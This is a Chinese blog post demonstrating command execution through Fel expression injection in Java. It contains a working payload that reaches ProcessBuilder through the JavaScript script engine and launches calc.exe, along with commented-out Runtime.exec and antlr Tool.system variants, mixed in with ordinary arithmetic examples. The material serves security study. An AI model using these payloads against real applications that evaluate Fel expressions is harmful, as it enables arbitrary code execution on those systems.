Fel表达式注入

Fel表达式注入命令执行Demo

package com.his;

import com.greenpineyu.fel.Expression;
import com.greenpineyu.fel.FelEngine;
import com.greenpineyu.fel.FelEngineImpl;
import com.greenpineyu.fel.context.FelContext;


public class Main {

    public static void main(String[] args) {

        //调用静态方法
        Object resultstatic = FelEngine.instance.eval("$('javax.script.ScriptEngineManager.new').getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command('calc.exe'); x.start()\")");
        System.out.println(resultstatic);


        //算术表达式
        FelEngine fel= new FelEngineImpl();
        Object result= fel.eval("5000*12+7500");
        System.out.println(result);

        //调用Math.min(1,2)
        Object resultMath = FelEngine.instance.eval("$('Math').min(1,2)");
        System.out.println(resultMath);

//        org.apache.commons.lang.StringUtils strings = new org.apache.commons.lang.StringUtils();
//        javax.script.ScriptEngineManager script = new javax.script.ScriptEngineManager();
        //变量
        FelContext ctx= fel.getContext();
        ctx.set("单价", 5000);
        ctx.set("数量", 12);
        ctx.set("运费", 7500);
        Object result_v= fel.eval("单价*数量+运费");
        System.out.println(result_v);

        //调用java方法1
        FelEngine feljava= new FelEngineImpl();
        FelContext ctx1= feljava.getContext();
        ctx1.set("out", System.out);
        feljava.eval("out.println('Hello Everybody'.substring(6))");

        //调用java方法1
        FelEngineImpl engine = new FelEngineImpl();
    //    Object eval = engine.eval("$(Runtime).getRuntime.exec('calc.exe')");  //被禁用
//        Object eval = engine.eval("$(System).exit(0)");             //被禁用
//        System.out.println(eval);

        //编译执行
        FelEngine felcompile= new FelEngineImpl();
        FelContext ctxcompile= felcompile.getContext();
        ctxcompile.set("单价", 5000);
        ctxcompile.set("数量", 12);
        ctxcompile.set("运费", 7500);
        Expression exp= felcompile.compile("单价*数量+运费",ctxcompile);
        Object resultcompile= exp.eval(ctxcompile);
        System.out.println(resultcompile);

//String expression = "$('antlr.build.Tool.new').system(\"calc.exe\")";       
// fel.eval(expression);
    }
}

依赖包:
https://mvnrepository.com/artifact/javax.script/script-api/1.0

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fel(Fast Extension Language)是由阿里巴巴集团开发的一种面向业务规则引擎的表达式语言。Fel是一种轻量级的表达式语言,具备快速、简洁、灵活、易用的特点。 Fel表达式版本可以分为Fel表达式版本1.0和Fel表达式版本2.0。 Fel表达式版本1.0是Fel的初始版本,它主要用于支持基本的表达式功能,如四则运算、逻辑运算、函数调用、变量引用等。Fel1.0支持的数据类型有基本数据类型、字符串类型以及数组类型。同时,Fel1.0也支持扩展自定义函数的能力,用户可以根据自己的业务需求增加自定义函数。 Fel表达式版本2.0是在Fel1.0基础上进一步进行了升级改进。Fel2.0新增了对集合类型的支持,例如List、Set和Map等。这样,用户可以更方便地处理集合数据,进行元素的增删改查等操作。同时,Fel2.0还引入了新的运算符和函数,提供更丰富的表达式功能。例如,新增的三元运算符和条件运算符可以实现更复杂的条件判断和赋值操作,而新增的日期处理函数可以方便地进行日期计算和格式化。 总结来说,Fel表达式版本是针对业务规则引擎开发的一种表达式语言的不同版本。通过不断升级改进,Fel版本提供了越来越丰富的功能,可以满足业务规则引擎在不同场景下的需求。无论是Fel1.0还是Fel2.0,它们都具有快速、简洁、灵活、易用的特点,能够帮助用户更便捷地开发和管理规则。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值